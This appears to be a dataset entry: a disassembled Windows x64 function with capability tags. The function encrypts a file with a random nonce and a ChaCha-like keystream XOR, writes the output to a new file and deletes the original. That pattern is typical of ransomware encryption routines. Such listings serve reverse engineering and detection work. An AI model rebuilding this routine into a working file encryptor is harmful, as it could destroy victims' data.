Function at 0x1400079f0
Capabilities:
Delete file
Generate random numbers via winapi
Get file size
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140041040]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov r12, rcx
lea rdx, str.Encrypting__
lea rcx, [0x140042c80]
call fcn.140006b00
mov rcx, rax
mov rdx, r12
call fcn.140006b00
mov rcx, rax
lea rdx, [0x14003a750]
call fcn.140006b00
lea r8, [rbp + 0x40]
mov edx, 0xc
mov rcx, qword [0x140044030]
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x14000428f
lea rdx, str.unable_to_generate_nonce_n
lea rcx, [0x140042c80]
call fcn.140006b00
xor edi, edi
mov qword [rsp + 0x50], rdi
mov ecx, 0x400000
call fcn.1400126d8
mov r15, rax
test rax, rax
je 0x140004533
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x140004533
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140004533
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], dil
jne 0x140004313
mov rdx, r12
lea rcx, [rsp + 0x58]
call fcn.140007040
nop
lea rdx, [0x140044078]
cmp qword [0x140044090], 0xf
cmova rdx, qword [0x140044078]
mov r8, qword [0x140044088]
lea rcx, [rsp + 0x58]
call fcn.140006430
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 4
mov r8d, 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x40], rax
cmp rax, 0xffffffffffffffff
je 0x1400044fa
mov r14, qword [rsp + 0x50]
test r14, r14
je 0x1400044a4
nop dword [rax]
mov esi, 0x400000
cmp r14, rsi
cmovb rsi, r14
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x48]
mov r8d, esi
mov rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400044fa
xor edx, edx
mov r8d, 0xc0
lea rcx, [rbp - 0x80]
call fcn.14002d2e0
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140001310
mov dword [rbp + 0x30], edi
movzx ecx, byte [rbp - 0x16]
shl ecx, 8
movzx eax, byte [rbp - 0x17]
or ecx, eax
shl ecx, 8
movzx eax, byte [rbp - 0x18]
or ecx, eax
movzx eax, byte [rbp - 0x15]
shl eax, 0x18
or eax, ecx
mov dword [rbp + 0x34], eax
mov qword [rbp - 8], rdi
mov ecx, 0x40
mov qword [rbp - 0x40], rcx
test rsi, rsi
je 0x140004469
mov rbx, r15
mov rdi, rsi
cmp rcx, 0x40
jb 0x14000444d
lea rcx, [rbp - 0x80]
call fcn.140001580
xor ecx, ecx
mov qword [rbp - 0x40], rcx
movzx eax, byte [rbp + rcx - 0x80]
xor byte [rbx], al
inc rcx
mov qword [rbp - 0x40], rcx
inc rbx
sub rdi, 1
jne 0x140004438
mov rbx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8d, esi
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400044fa
mov eax, dword [rsp + 0x48]
sub r14, rax
xor edx, edx
mov r8d, 0x400000
mov rcx, r15
call fcn.14002d2e0
test r14, r14
jne 0x1400043b0
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8d, 0xc
lea rdx, [rbp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400044fa
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, r15
call fcn.140011a2c
lea rdx, [0x14003a768]
lea rcx, [0x140042c80]
call fcn.140006b00
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140004533
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000452e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004560
call fcn.140008b10
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140008af0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140012660
int3
add rcx, 8
cmp qword [rcx + 0x18], 0xf
jbe 0x1400079fe
mov rcx, qword [rcx]
jmp 0x140004200